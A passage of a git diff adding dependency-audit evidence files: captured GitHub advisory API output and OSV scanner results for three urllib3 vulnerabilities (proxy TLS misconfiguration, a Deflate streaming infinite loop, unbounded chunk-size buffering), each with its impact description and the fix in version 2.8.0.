31913495?v=4","gravatar_id":"","url":"https://api.github.com/users/yonatanmgr","html_url":"https://github.com/yonatanmgr","followers_url":"https://api.github.com/users/yonatanmgr/followers","following_url":"https://api.github.com/users/yonatanmgr/following{/other_user}","gists_url":"https://api.github.com/users/yonatanmgr/gists{/gist_id}","starred_url":"https://api.github.com/users/yonatanmgr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yonatanmgr/subscriptions","organizations_url":"https://api.github.com/users/yonatanmgr/orgs","repos_url":"https://api.github.com/users/yonatanmgr/repos","events_url":"https://api.github.com/users/yonatanmgr/events{/privacy}","received_events_url":"https://api.github.com/users/yonatanmgr/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"pquentin","id":42327,"node_id":"MDQ6VXNlcjQyMzI3","avatar_url":"https://avatars.githubusercontent.com/u/42327?v=4","gravatar_id":"","url":"https://api.github.com/users/pquentin","html_url":"https://github.com/pquentin","followers_url":"https://api.github.com/users/pquentin/followers","following_url":"https://api.github.com/users/pquentin/following{/other_user}","gists_url":"https://api.github.com/users/pquentin/gists{/gist_id}","starred_url":"https://api.github.com/users/pquentin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pquentin/subscriptions","organizations_url":"https://api.github.com/users/pquentin/orgs","repos_url":"https://api.github.com/users/pquentin/repos","events_url":"https://api.github.com/users/pquentin/events{/privacy}","received_events_url":"https://api.github.com/users/pquentin/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"analyst"}],"cvss":{"vector_string":null,"score":null}} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt new file mode 100644 index 000000000..cdd3c646a --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "gh", "api", "advisories/GHSA-gh4c-6fx4-qh6g"] +cwd: +started_utc: 2026-09-30T15:44:09.039468+00:00 +ended_utc: 2026-09-30T15:44:09.461852+00:00 +exit_code: 0 + +stdout: +{"ghsa_id":"GHSA-gh4c-6fx4-qh6g","cve_id":"CVE-2026-97688","url":"https://api.github.com/advisories/GHSA-gh4c-6fx4-qh6g","html_url":"https://github.com/advisories/GHSA-gh4c-6fx4-qh6g","summary":"urllib3: Chunked Deflate streaming can enter an infinite loop","description":"### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/urllib3/urllib3/security-advisories/GHSA-gh4c-6fx4-qh6g","source_code_location":"https://github.com/urllib3/urllib3","identifiers":[{"value":"GHSA-gh4c-6fx4-qh6g","type":"GHSA"},{"value":"CVE-2026-97688","type":"CVE"}],"references":["https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g","https://nvd.nist.gov/vuln/detail/CVE-2026-97688","https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f","https://github.com/urllib3/urllib3/releases/tag/2.8.0","https://github.com/advisories/GHSA-gh4c-6fx4-qh6g"],"published_at":"2026-09-30T15:00:38Z","updated_at":"2026-09-30T15:00:39Z","github_reviewed_at":"2026-09-30T15:00:38Z","nvd_published_at":"2026-09-29T16:17:18Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"urllib3"},"vulnerable_version_range":">= 2.6.2, < 2.8.0","first_patched_version":"2.8.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":0.0},"cvss_v4":{"vector_string":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.9}},"cwes":[{"cwe_id":"CWE-835","name":"Loop with Unreachable Exit Condition ('Infinite Loop')"}],"credits":[{"user":{"login":"gnuletik","id":9059840,"node_id":"MDQ6VXNlcjkwNTk4NDA=","avatar_url":"https://avatars.githubusercontent.com/u/9059840?v=4","gravatar_id":"","url":"https://api.github.com/users/gnuletik","html_url":"https://github.com/gnuletik","followers_url":"https://api.github.com/users/gnuletik/followers","following_url":"https://api.github.com/users/gnuletik/following{/other_user}","gists_url":"https://api.github.com/users/gnuletik/gists{/gist_id}","starred_url":"https://api.github.com/users/gnuletik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gnuletik/subscriptions","organizations_url":"https://api.github.com/users/gnuletik/orgs","repos_url":"https://api.github.com/users/gnuletik/repos","events_url":"https://api.github.com/users/gnuletik/events{/privacy}","received_events_url":"https://api.github.com/users/gnuletik/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"illia-v","id":17710133,"node_id":"MDQ6VXNlcjE3NzEwMTMz","avatar_url":"https://avatars.githubusercontent.com/u/17710133?v=4","gravatar_id":"","url":"https://api.github.com/users/illia-v","html_url":"https://github.com/illia-v","followers_url":"https://api.github.com/users/illia-v/followers","following_url":"https://api.github.com/users/illia-v/following{/other_user}","gists_url":"https://api.github.com/users/illia-v/gists{/gist_id}","starred_url":"https://api.github.com/users/illia-v/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/illia-v/subscriptions","organizations_url":"https://api.github.com/users/illia-v/orgs","repos_url":"https://api.github.com/users/illia-v/repos","events_url":"https://api.github.com/users/illia-v/events{/privacy}","received_events_url":"https://api.github.com/users/illia-v/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"coordinator"},{"user":{"login":"pquentin","id":42327,"node_id":"MDQ6VXNlcjQyMzI3","avatar_url":"https://avatars.githubusercontent.com/u/42327?v=4","gravatar_id":"","url":"https://api.github.com/users/pquentin","html_url":"https://github.com/pquentin","followers_url":"https://api.github.com/users/pquentin/followers","following_url":"https://api.github.com/users/pquentin/following{/other_user}","gists_url":"https://api.github.com/users/pquentin/gists{/gist_id}","starred_url":"https://api.github.com/users/pquentin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pquentin/subscriptions","organizations_url":"https://api.github.com/users/pquentin/orgs","repos_url":"https://api.github.com/users/pquentin/repos","events_url":"https://api.github.com/users/pquentin/events{/privacy}","received_events_url":"https://api.github.com/users/pquentin/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_reviewer"}],"cvss":{"vector_string":null,"score":null}} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt new file mode 100644 index 000000000..679039334 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "gh", "api", "advisories/GHSA-vxq7-64xx-v4gw"] +cwd: +started_utc: 2026-09-30T15:44:09.463379+00:00 +ended_utc: 2026-09-30T15:44:09.903055+00:00 +exit_code: 0 + +stdout: +{"ghsa_id":"GHSA-vxq7-64xx-v4gw","cve_id":"CVE-2026-97689","url":"https://api.github.com/advisories/GHSA-vxq7-64xx-v4gw","html_url":"https://github.com/advisories/GHSA-vxq7-64xx-v4gw","summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","description":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/urllib3/urllib3/security-advisories/GHSA-vxq7-64xx-v4gw","source_code_location":"https://github.com/urllib3/urllib3","identifiers":[{"value":"GHSA-vxq7-64xx-v4gw","type":"GHSA"},{"value":"CVE-2026-97689","type":"CVE"}],"references":["https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw","https://nvd.nist.gov/vuln/detail/CVE-2026-97689","https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed","https://github.com/urllib3/urllib3/releases/tag/2.8.0","https://github.com/advisories/GHSA-vxq7-64xx-v4gw"],"published_at":"2026-09-30T14:46:18Z","updated_at":"2026-09-30T14:46:20Z","github_reviewed_at":"2026-09-30T14:46:18Z","nvd_published_at":"2026-09-29T16:17:18Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"urllib3"},"vulnerable_version_range":">= 1.10.3, < 2.8.0","first_patched_version":"2.8.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":0.0},"cvss_v4":{"vector_string":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H","score":8.9}},"cwes":[{"cwe_id":"CWE-770","name":"Allocation of Resources Without Limits or Throttling"}],"credits":[{"user":{"login":"pquentin","id":42327,"node_id":"MDQ6VXNlcjQyMzI3","avatar_url":"https://avatars.githubusercontent.com/u/42327?v=4","gravatar_id":"","url":"https://api.github.com/users/pquentin","html_url":"https://github.com/pquentin","followers_url":"https://api.github.com/users/pquentin/followers","following_url":"https://api.github.com/users/pquentin/following{/other_user}","gists_url":"https://api.github.com/users/pquentin/gists{/gist_id}","starred_url":"https://api.github.com/users/pquentin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pquentin/subscriptions","organizations_url":"https://api.github.com/users/pquentin/orgs","repos_url":"https://api.github.com/users/pquentin/repos","events_url":"https://api.github.com/users/pquentin/events{/privacy}","received_events_url":"https://api.github.com/users/pquentin/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"coordinator"},{"user":{"login":"illia-v","id":17710133,"node_id":"MDQ6VXNlcjE3NzEwMTMz","avatar_url":"https://avatars.githubusercontent.com/u/17710133?v=4","gravatar_id":"","url":"https://api.github.com/users/illia-v","html_url":"https://github.com/illia-v","followers_url":"https://api.github.com/users/illia-v/followers","following_url":"https://api.github.com/users/illia-v/following{/other_user}","gists_url":"https://api.github.com/users/illia-v/gists{/gist_id}","starred_url":"https://api.github.com/users/illia-v/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/illia-v/subscriptions","organizations_url":"https://api.github.com/users/illia-v/orgs","repos_url":"https://api.github.com/users/illia-v/repos","events_url":"https://api.github.com/users/illia-v/events{/privacy}","received_events_url":"https://api.github.com/users/illia-v/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_reviewer"}],"cvss":{"vector_string":null,"score":null}} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json new file mode 100644 index 000000000..300a45ae3 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json @@ -0,0 +1,424 @@ +{ + "results": [ + { + "source": { + "path": "/baseline.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "urllib3", + "version": "2.7.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-8988-9cw3-xx77" + ], + "aliases": [ + "CVE-2026-97687", + "GHSA-8988-9cw3-xx77" + ], + "max_severity": "7.6" + }, + { + "ids": [ + "GHSA-gh4c-6fx4-qh6g" + ], + "aliases": [ + "CVE-2026-97688", + "GHSA-gh4c-6fx4-qh6g" + ], + "max_severity": "6.9" + }, + { + "ids": [ + "GHSA-vxq7-64xx-v4gw" + ], + "aliases": [ + "CVE-2026-97689", + "GHSA-vxq7-64xx-v4gw" + ], + "max_severity": "8.9" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-8988-9cw3-xx77/GHSA-8988-9cw3-xx77.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.26.0" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.26.0", + "1.26.1", + "1.26.10", + "1.26.11", + "1.26.12", + "1.26.13", + "1.26.14", + "1.26.15", + "1.26.16", + "1.26.17", + "1.26.18", + "1.26.19", + "1.26.2", + "1.26.20", + "1.26.3", + "1.26.4", + "1.26.5", + "1.26.6", + "1.26.7", + "1.26.8", + "1.26.9", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.0a3", + "2.0.0a4", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.2.3", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.6.1", + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97687" + ], + "database_specific": { + "cwe_ids": [ + "CWE-295", + "CWE-440" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T14:46:04Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "HIGH" + }, + "details": "## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.", + "id": "GHSA-8988-9cw3-xx77", + "modified": "2026-09-30T15:00:05.369237042Z", + "published": "2026-09-30T14:46:04Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97687" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/pull/5093" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: HTTPS proxy TLS configuration may be ignored or overridden" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gh4c-6fx4-qh6g/GHSA-gh4c-6fx4-qh6g.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.6.2" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97688" + ], + "database_specific": { + "cwe_ids": [ + "CWE-835" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T15:00:38Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "MODERATE" + }, + "details": "### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.", + "id": "GHSA-gh4c-6fx4-qh6g", + "modified": "2026-09-30T15:15:04.066660799Z", + "published": "2026-09-30T15:00:38Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97688" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: Chunked Deflate streaming can enter an infinite loop" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vxq7-64xx-v4gw/GHSA-vxq7-64xx-v4gw.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "urllib3", + "purl": "pkg:pypi/urllib3" + }, + "ranges": [ + { + "events": [ + { + "introduced": "1.10.3" + }, + { + "fixed": "2.8.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.10.3", + "1.10.4", + "1.11", + "1.12", + "1.13", + "1.13.1", + "1.14", + "1.15", + "1.15.1", + "1.16", + "1.17", + "1.18", + "1.18.1", + "1.19", + "1.19.1", + "1.20", + "1.21", + "1.21.1", + "1.22", + "1.23", + "1.24", + "1.24.1", + "1.24.2", + "1.24.3", + "1.25", + "1.25.1", + "1.25.10", + "1.25.11", + "1.25.2", + "1.25.3", + "1.25.4", + "1.25.5", + "1.25.6", + "1.25.7", + "1.25.8", + "1.25.9", + "1.26.0", + "1.26.1", + "1.26.10", + "1.26.11", + "1.26.12", + "1.26.13", + "1.26.14", + "1.26.15", + "1.26.16", + "1.26.17", + "1.26.18", + "1.26.19", + "1.26.2", + "1.26.20", + "1.26.3", + "1.26.4", + "1.26.5", + "1.26.6", + "1.26.7", + "1.26.8", + "1.26.9", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.0a3", + "2.0.0a4", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.2.3", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.6.1", + "2.6.2", + "2.6.3", + "2.7.0" + ] + } + ], + "aliases": [ + "CVE-2026-97689" + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T14:46:18Z", + "nvd_published_at": "2026-09-29T16:17:18Z", + "severity": "HIGH" + }, + "details": "## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.", + "id": "GHSA-vxq7-64xx-v4gw", + "modified": "2026-09-30T15:00:05.904945330Z", + "published": "2026-09-30T14:46:18Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97689" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed" + }, + { + "type": "PACKAGE", + "url": "https://github.com/urllib3/urllib3" + }, + { + "type": "WEB", + "url": "https://github.com/urllib3/urllib3/releases/tag/2.8.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", + "type": "CVSS_V4" + } + ], + "summary": "urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt new file mode 100644 